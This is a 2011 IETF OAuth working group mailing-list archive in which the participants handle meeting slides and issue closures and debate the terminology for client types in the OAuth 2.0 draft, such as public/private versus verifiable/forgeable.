gW-eHkDAThrIzNnzkLP-eZAewR4 Message-ID: From: Barry Leiba To: oauth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:12:40 -0000 Having not received any slides yet, I'm repeating this: > Presenters will be asked to have presentation slides in to the chairs > by the end of the day Saturday, 23 July, so we can post them to the > meeting materials page with plenty of time for all participants to > review them. > > Meeting materials page: https://datatracker.ietf.org/meeting/81/materials.html Please get slides to us by tomorrow. It really helps the remote participants, as well as the chairs. Barry, as chair From t.lodderstedt@telekom.de Fri Jul 22 07:47:06 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AC6DD21F8B01 for ; Fri, 22 Jul 2011 07:47:06 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.949 X-Spam-Level: X-Spam-Status: No, score=-2.949 tagged_above=-999 required=5 tests=[AWL=0.300, BAYES_00=-2.599, HELO_EQ_DE=0.35, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id G0oNPlF-zp7H for ; Fri, 22 Jul 2011 07:47:06 -0700 (PDT) Received: from tcmail33.telekom.de (tcmail33.telekom.de [194.25.30.7]) by ietfa.amsl.com (Postfix) with ESMTP id E85EB21F8AF4 for ; Fri, 22 Jul 2011 07:47:05 -0700 (PDT) Received: from g8dbse01.krf01.telekom.de ([164.23.31.9]) by tcmail31.telekom.de with ESMTP; 22 Jul 2011 16:46:57 +0200 Received: from QEO40064.de.t-online.corp (QEO40064.de.t-online.corp [10.224.209.64]) by G8DBSE01.krf01.telekom.de with ESMTP; Fri, 22 Jul 2011 16:46:57 +0200 Received: from QEO40072.de.t-online.corp ([169.254.1.145]) by QEO40064.de.t-online.corp ([10.224.209.64]) with mapi; Fri, 22 Jul 2011 16:46:57 +0200 From: "Lodderstedt, Torsten" To: Barry Leiba , Eran Hammer-Lahav Date: Fri, 22 Jul 2011 16:46:56 +0200 Thread-Topic: [OAUTH-WG] Request to close issues Thread-Index: AcxIeBHjBtGlR50ORoecCs6Erx+2owABdQOA Message-Id: <63366D5A116E514AA4A9872D3C53353956FDE8E262@QEO40072.de.t-online.corp> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: de-DE Content-Language: de-DE X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: de-DE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Request to close issues X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:47:06 -0000 What about my comments? http://www.ietf.org/mail-archive/web/oauth/current/msg07030.html http://www.ietf.org/mail-archive/web/oauth/current/msg07031.html http://www.ietf.org/mail-archive/web/oauth/current/msg07032.html > -----Urspr=FCngliche Nachricht----- > Von: Barry Leiba [mailto:barryleiba@computer.org] > Gesendet: Freitag, 22. Juli 2011 16:03 > An: Eran Hammer-Lahav > Cc: OAuth WG > Betreff: Re: [OAUTH-WG] Request to close issues >=20 > > I would like to ask the chairs to close the following issues: > > > > #15 section 2 > > #16 section 3.1.2 > > #17 section 3.2.1 >=20 > Having seen no objection to this, I will close these three as "fixed" > now. >=20 > Barry, as chair > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From barryleiba@gmail.com Fri Jul 22 07:51:30 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4CD3321F85F7 for ; Fri, 22 Jul 2011 07:51:30 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.057 X-Spam-Level: X-Spam-Status: No, score=-103.057 tagged_above=-999 required=5 tests=[AWL=-0.080, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1mbLiwNTRfGf for ; Fri, 22 Jul 2011 07:51:29 -0700 (PDT) Received: from mail-gw0-f44.google.com (mail-gw0-f44.google.com [74.125.83.44]) by ietfa.amsl.com (Postfix) with ESMTP id DD9B021F855C for ; Fri, 22 Jul 2011 07:51:27 -0700 (PDT) Received: by gwb20 with SMTP id 20so1834517gwb.31 for ; Fri, 22 Jul 2011 07:51:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=EpSlvLOEGf8HiafkOZkoWZAnBhn3yvDDYtQGbZPEMQY=; b=kYspAra3JxQf905HHz0GkzvKe1Uw5ZqPmZUXca9natr2cy8U+Fhoj4nRJJENGP9pX0 kTew/2xQL1bQ1/mJG78WinGB4+vdsYzYgsMzWIDEi5SqeO4fmfU+AuY33BtRmbGmEHRb +i5S1W65ZtShorw1+zoTZUttvpG4JujBspUQA= MIME-Version: 1.0 Received: by 10.236.137.140 with SMTP id y12mr2109133yhi.191.1311346287011; Fri, 22 Jul 2011 07:51:27 -0700 (PDT) Sender: barryleiba@gmail.com Received: by 10.236.207.132 with HTTP; Fri, 22 Jul 2011 07:51:26 -0700 (PDT) In-Reply-To: <63366D5A116E514AA4A9872D3C53353956FDE8E262@QEO40072.de.t-online.corp> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> <63366D5A116E514AA4A9872D3C53353956FDE8E262@QEO40072.de.t-online.corp> Date: Fri, 22 Jul 2011 10:51:26 -0400 X-Google-Sender-Auth: m_xvY3DPgOmHyLyFNUqP9slhE-U Message-ID: From: Barry Leiba To: "Lodderstedt, Torsten" Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] Request to close issues X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:51:30 -0000 > What about my comments? > > http://www.ietf.org/mail-archive/web/oauth/current/msg07030.html > http://www.ietf.org/mail-archive/web/oauth/current/msg07031.html > http://www.ietf.org/mail-archive/web/oauth/current/msg07032.html Sorry; I have asked Eran off list about them. What doesn't get addressed in -19 can be re-opened at your request. Barry From t.lodderstedt@telekom.de Fri Jul 22 07:52:26 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8651421F8AF5 for ; Fri, 22 Jul 2011 07:52:26 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.099 X-Spam-Level: X-Spam-Status: No, score=-3.099 tagged_above=-999 required=5 tests=[AWL=0.150, BAYES_00=-2.599, HELO_EQ_DE=0.35, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 9RqLNs62Cga5 for ; Fri, 22 Jul 2011 07:52:25 -0700 (PDT) Received: from tcmail83.telekom.de (tcmail83.telekom.de [62.225.183.131]) by ietfa.amsl.com (Postfix) with ESMTP id CFD7521F8AF9 for ; Fri, 22 Jul 2011 07:52:23 -0700 (PDT) Received: from g8dbse01.krf01.telekom.de ([164.23.31.9]) by tcmail81.telekom.de with ESMTP; 22 Jul 2011 16:52:21 +0200 Received: from QEO40065.de.t-online.corp (QEO40065.de.t-online.corp [10.224.209.65]) by G8DBSE01.krf01.telekom.de with ESMTP; Fri, 22 Jul 2011 16:52:21 +0200 Received: from QEO40072.de.t-online.corp ([169.254.1.145]) by QEO40065.de.t-online.corp ([10.224.209.65]) with mapi; Fri, 22 Jul 2011 16:52:20 +0200 From: "Lodderstedt, Torsten" To: Barry Leiba Date: Fri, 22 Jul 2011 16:52:19 +0200 Thread-Topic: [OAUTH-WG] Request to close issues Thread-Index: AcxIftYY+V4K9L/8T8O+8N+vERAZNAAABm7w Message-Id: <63366D5A116E514AA4A9872D3C53353956FDE8E268@QEO40072.de.t-online.corp> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> <63366D5A116E514AA4A9872D3C53353956FDE8E262@QEO40072.de.t-online.corp> In-Reply-To: Accept-Language: de-DE Content-Language: de-DE X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: de-DE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Request to close issues X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:52:26 -0000 Ok, thanks > -----Urspr=FCngliche Nachricht----- > Von: Barry Leiba [mailto:barryleiba@computer.org] > Gesendet: Freitag, 22. Juli 2011 16:51 > An: Lodderstedt, Torsten > Cc: Eran Hammer-Lahav; OAuth WG > Betreff: Re: [OAUTH-WG] Request to close issues >=20 > > What about my comments? > > > > http://www.ietf.org/mail-archive/web/oauth/current/msg07030.html > > http://www.ietf.org/mail-archive/web/oauth/current/msg07031.html > > http://www.ietf.org/mail-archive/web/oauth/current/msg07032.html >=20 > Sorry; I have asked Eran off list about them. What doesn't get > addressed in -19 can be re-opened at your request. >=20 > Barry From barryleiba@gmail.com Fri Jul 22 07:52:31 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CE9B221F8AFD for ; Fri, 22 Jul 2011 07:52:31 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.088 X-Spam-Level: X-Spam-Status: No, score=-103.088 tagged_above=-999 required=5 tests=[AWL=-0.111, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id oGRUH3Rda3iW for ; Fri, 22 Jul 2011 07:52:31 -0700 (PDT) Received: from mail-gy0-f172.google.com (mail-gy0-f172.google.com [209.85.160.172]) by ietfa.amsl.com (Postfix) with ESMTP id 614A821F8AF5 for ; Fri, 22 Jul 2011 07:52:31 -0700 (PDT) Received: by gyd5 with SMTP id 5so1426600gyd.31 for ; Fri, 22 Jul 2011 07:52:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=71E96R+Cx5JEiJ9P0GKTPplJuspmMWOfUAdVqQpLPnY=; b=nMfbsJ0wd3ciSCT/JbVWVmP9ScL4O5PwpwgMMcTl385ZgB7IQa/ykdZgpcNTnJ3Rv1 qoqbFi/PtJ6/98CIqynIrPirA2EELyt0sWMsWI9k0C5NtwEfdBokMZ/ODSY65aE5g2g9 dRRP0mr4p3bI9iQXyVGA0irpBbLRRWmOj8nxg= MIME-Version: 1.0 Received: by 10.236.76.201 with SMTP id b49mr2059046yhe.526.1311346350960; Fri, 22 Jul 2011 07:52:30 -0700 (PDT) Sender: barryleiba@gmail.com Received: by 10.236.207.132 with HTTP; Fri, 22 Jul 2011 07:52:30 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> <63366D5A116E514AA4A9872D3C53353956FDE8E262@QEO40072.de.t-online.corp> Date: Fri, 22 Jul 2011 10:52:30 -0400 X-Google-Sender-Auth: 70GBGw2mwYwsRcKZfKfH89gxfEg Message-ID: From: Barry Leiba To: "Lodderstedt, Torsten" Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: OAuth WG Subject: Re: [OAUTH-WG] Request to close issues X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:52:31 -0000 >> What about my comments? >> >> http://www.ietf.org/mail-archive/web/oauth/current/msg07030.html >> http://www.ietf.org/mail-archive/web/oauth/current/msg07031.html >> http://www.ietf.org/mail-archive/web/oauth/current/msg07032.html > > Sorry; I have asked Eran off list about them. =A0What doesn't get > addressed in -19 can be re-opened at your request. To be clear: this was a chair error, reading & processing messages in the wrong order. Barry, as fallible chair From eran@hueniverse.com Fri Jul 22 14:12:46 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6C93421F8B24 for ; Fri, 22 Jul 2011 14:12:46 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.573 X-Spam-Level: X-Spam-Status: No, score=-2.573 tagged_above=-999 required=5 tests=[AWL=0.026, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZI+v-w69Qo2S for ; Fri, 22 Jul 2011 14:12:46 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id EEBBB21F8B03 for ; Fri, 22 Jul 2011 14:12:45 -0700 (PDT) Received: (qmail 27220 invoked from network); 22 Jul 2011 21:12:44 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 22 Jul 2011 21:12:44 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Fri, 22 Jul 2011 14:12:41 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Fri, 22 Jul 2011 14:12:08 -0700 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxHH+CszluU+50IR3y21EPDB401mwBk4/6g Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> In-Reply-To: <4E274191.6020207@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 21:12:46 -0000 > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Wednesday, July 20, 2011 1:59 PM > To: OAuth WG > Subject: Re: [OAUTH-WG] Issue 15, new client registration >=20 > 2.1 Client types >=20 > I'm struggeling with the new terminology of "private" and "public" > clients. In my perception, the text just distinguishes clients which can = be > authenticated and such which cannot. This is fine but I consider the word= ing > misleading. I would suggest to change it to something like trusted/untrus= ted > or authenticated/unauthenticated or Verifiable/Forgeable. I'm open to changing the names. I don't like trusted/untrusted because OAuth does not define trust. The aut= henticated/unauthenticated pair is also not ideal because the terms describ= e the outcome, not the nature of the client. As for verifiable/forgeable, I= think these terms are too complicated for a casual reader. My intention with public/private is to identify the nature of the client cr= edentials. So a more verbose version would be 'public credentials/private c= redentials'. This also works with 'code' instead of 'credentials'. It's clear from the past year of discussions that we need terminology to de= scribe these two types. Any other suggestions? EHL From huilan.lu@alcatel-lucent.com Fri Jul 22 14:34:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 13A1F21F8B2D for ; Fri, 22 Jul 2011 14:34:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.599 X-Spam-Level: X-Spam-Status: No, score=-6.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id u1uTBUyYq+gg for ; Fri, 22 Jul 2011 14:33:59 -0700 (PDT) Received: from ihemail1.lucent.com (ihemail1.lucent.com [135.245.0.33]) by ietfa.amsl.com (Postfix) with ESMTP id 0D1E321F8AFD for ; Fri, 22 Jul 2011 14:33:58 -0700 (PDT) Received: from usnavsmail4.ndc.alcatel-lucent.com (usnavsmail4.ndc.alcatel-lucent.com [135.3.39.12]) by ihemail1.lucent.com (8.13.8/IER-o) with ESMTP id p6MLXsOl019651 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 22 Jul 2011 16:33:55 -0500 (CDT) Received: from USNAVSXCHHUB02.ndc.alcatel-lucent.com (usnavsxchhub02.ndc.alcatel-lucent.com [135.3.39.111]) by usnavsmail4.ndc.alcatel-lucent.com (8.14.3/8.14.3/GMO) with ESMTP id p6MLXsQD022062 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 22 Jul 2011 16:33:54 -0500 Received: from USNAVSXCHMBSB3.ndc.alcatel-lucent.com ([135.3.39.137]) by USNAVSXCHHUB02.ndc.alcatel-lucent.com ([135.3.39.111]) with mapi; Fri, 22 Jul 2011 16:33:54 -0500 From: "Lu, Hui-Lan (Huilan)" To: "'Eran Hammer-Lahav'" , Torsten Lodderstedt , OAuth WG Date: Fri, 22 Jul 2011 16:33:53 -0500 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxHH+CszluU+50IR3y21EPDB401mwBk4/6gAACdqSA= Message-ID: <0E96A74B7DFCF844A9BE2A0BBE2C425F058E625BDB@USNAVSXCHMBSB3.ndc.alcatel-lucent.com> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Scanned-By: MIMEDefang 2.57 on 135.245.2.33 X-Scanned-By: MIMEDefang 2.64 on 135.3.39.12 Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 21:34:00 -0000 Would "protected" and "open" work? Protected clients have protected credent= ials, while open clients don't.=20 Huilan > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of= Eran > Hammer-Lahav > Sent: Friday, July 22, 2011 5:12 PM > To: Torsten Lodderstedt; OAuth WG > Subject: Re: [OAUTH-WG] Issue 15, new client registration >=20 >=20 >=20 > > -----Original Message----- > > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > > Of Torsten Lodderstedt > > Sent: Wednesday, July 20, 2011 1:59 PM > > To: OAuth WG > > Subject: Re: [OAUTH-WG] Issue 15, new client registration > > > > 2.1 Client types > > > > I'm struggeling with the new terminology of "private" and "public" > > clients. In my perception, the text just distinguishes clients which ca= n be > > authenticated and such which cannot. This is fine but I consider the wo= rding > > misleading. I would suggest to change it to something like trusted/untr= usted > > or authenticated/unauthenticated or Verifiable/Forgeable. >=20 > I'm open to changing the names. >=20 > I don't like trusted/untrusted because OAuth does not define trust. The > authenticated/unauthenticated pair is also not ideal because the terms de= scribe the > outcome, not the nature of the client. As for verifiable/forgeable, I thi= nk these terms > are too complicated for a casual reader. >=20 > My intention with public/private is to identify the nature of the client = credentials. So a > more verbose version would be 'public credentials/private credentials'. T= his also > works with 'code' instead of 'credentials'. >=20 > It's clear from the past year of discussions that we need terminology to = describe these > two types. >=20 > Any other suggestions? >=20 > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From skylar@kiva.org Fri Jul 22 14:46:37 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1129521F858C for ; Fri, 22 Jul 2011 14:46:37 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.597 X-Spam-Level: X-Spam-Status: No, score=-6.597 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_IMAGE_RATIO_06=0.001, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id TLYtfZhdAZJK for ; Fri, 22 Jul 2011 14:46:36 -0700 (PDT) Received: from na3sys010aog107.obsmtp.com (na3sys010aog107.obsmtp.com [74.125.245.82]) by ietfa.amsl.com (Postfix) with SMTP id 9BBFD21F8545 for ; Fri, 22 Jul 2011 14:46:34 -0700 (PDT) Received: from mail-ww0-f52.google.com ([74.125.82.52]) (using TLSv1) by na3sys010aob107.postini.com ([74.125.244.12]) with SMTP ID DSNKTinvuQhlF5hWpldEsmWV88OzLIWHGjdz@postini.com; Fri, 22 Jul 2011 14:46:34 PDT Received: by wwf10 with SMTP id 10so2224748wwf.33 for ; Fri, 22 Jul 2011 14:46:32 -0700 (PDT) Received: by 10.227.172.206 with SMTP id m14mr1787291wbz.29.1311371192066; Fri, 22 Jul 2011 14:46:32 -0700 (PDT) Received: from [192.168.1.102] (89-159-227-201.rev.numericable.fr [89.159.227.201]) by mx.google.com with ESMTPS id em16sm2227174wbb.33.2011.07.22.14.46.30 (version=TLSv1/SSLv3 cipher=OTHER); Fri, 22 Jul 2011 14:46:30 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v1244.3) Content-Type: multipart/alternative; boundary="Apple-Mail=_A54263D2-03C3-4A09-8FD3-FB7AFD666717" From: Skylar Woodward In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 22 Jul 2011 23:46:29 +0200 Message-Id: <64930E85-923B-4811-8A6B-6A677B95F904@kiva.org> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> To: Eran Hammer-Lahav X-Mailer: Apple Mail (2.1244.3) Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 21:46:37 -0000 --Apple-Mail=_A54263D2-03C3-4A09-8FD3-FB7AFD666717 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Looks like Torsten already has capture my suggestion which is also what = the Kiva documentation uses=85 Verifiable/Forgeable identity. It's = precise and avoids making a statement about trust, etc. But only developers need such simple one-word classifications. For end = users (e.g., people w/ accounts who approve access for an app) we're be = providing much more verbose explanations. For example. "This = application's identity has ben verified=85 still (caution, caution, = caution)" or "This application's identity cannot be verified. Only = approve this application if you absolutely trust the application or link = that sent you this page=85" App users can't discern the significance of public vs. private = credentials. To me, public credentials are not credentials at all. Yet another term = to define. Better to be precise. Another option (and terminology we use to help developers) Can Keep = Secrets / Can't Keep Secrets. Attached screenshots in case anyone is interested in how this plays out = in real-world UI (vs. specs). On Jul 22, 2011, at 11:12 PM, Eran Hammer-Lahav wrote: >=20 >=20 >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On = Behalf >> Of Torsten Lodderstedt >> Sent: Wednesday, July 20, 2011 1:59 PM >> To: OAuth WG >> Subject: Re: [OAUTH-WG] Issue 15, new client registration >>=20 >> 2.1 Client types >>=20 >> I'm struggeling with the new terminology of "private" and "public" >> clients. In my perception, the text just distinguishes clients which = can be >> authenticated and such which cannot. This is fine but I consider the = wording >> misleading. I would suggest to change it to something like = trusted/untrusted >> or authenticated/unauthenticated or Verifiable/Forgeable. >=20 > I'm open to changing the names. >=20 > I don't like trusted/untrusted because OAuth does not define trust. = The authenticated/unauthenticated pair is also not ideal because the = terms describe the outcome, not the nature of the client. As for = verifiable/forgeable, I think these terms are too complicated for a = casual reader. >=20 > My intention with public/private is to identify the nature of the = client credentials. So a more verbose version would be 'public = credentials/private credentials'. This also works with 'code' instead of = 'credentials'. >=20 > It's clear from the past year of discussions that we need terminology = to describe these two types. >=20 > Any other suggestions? >=20 > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --Apple-Mail=_A54263D2-03C3-4A09-8FD3-FB7AFD666717 Content-Type: multipart/related; type="text/html"; boundary="Apple-Mail=_EE702F0B-9644-4EF4-9FE7-8443578C0BEC" --Apple-Mail=_EE702F0B-9644-4EF4-9FE7-8443578C0BEC Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=windows-1252

App users can't discern the = significance of public vs. private = credentials.

To me, public credentials are not = credentials at all. Yet another term to define. Better to be = precise.

Another option (and terminology we use = to help developers) Can Keep Secrets / Can't Keep = Secrets.

Attached screenshots in case anyone is = interested in how this plays out in real-world UI (vs. = specs).


<= br>

On Jul 22, 2011, at 11:12 PM, Eran Hammer-Lahav = wrote:



-----Original = Message-----
From: oauth-bounces@ietf.org = [mailto:oauth-bounces@ietf.org] On Behalf
Of Torsten Lodderstedt
Sent: Wednesday, July 20, 2011 1:59 = PM
To: OAuth = WG
Subject: Re: [OAUTH-WG] = Issue 15, new client registration

2.1 Client = types

I'm struggeling = with the new terminology of "private" and = "public"
clients. In my = perception, the text just distinguishes clients which can = be
authenticated and such = which cannot. This is fine but I consider the = wording
misleading. I would = suggest to change it to something like = trusted/untrusted
or = authenticated/unauthenticated or = Verifiable/Forgeable.

I'm open to changing the = names.

I don't like trusted/untrusted because OAuth does not = define trust. The authenticated/unauthenticated pair is also not ideal = because the terms describe the outcome, not the nature of the client. As = for verifiable/forgeable, I think these terms are too complicated for a = casual reader.

My intention with public/private is to identify = the nature of the client credentials. So a more verbose version would be = 'public credentials/private credentials'. This also works with 'code' = instead of 'credentials'.

It's clear from the past year of = discussions that we need terminology to describe these two = types.

Any other = suggestions?

EHL
_______________________________________________=
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/= mailman/listinfo/oauth

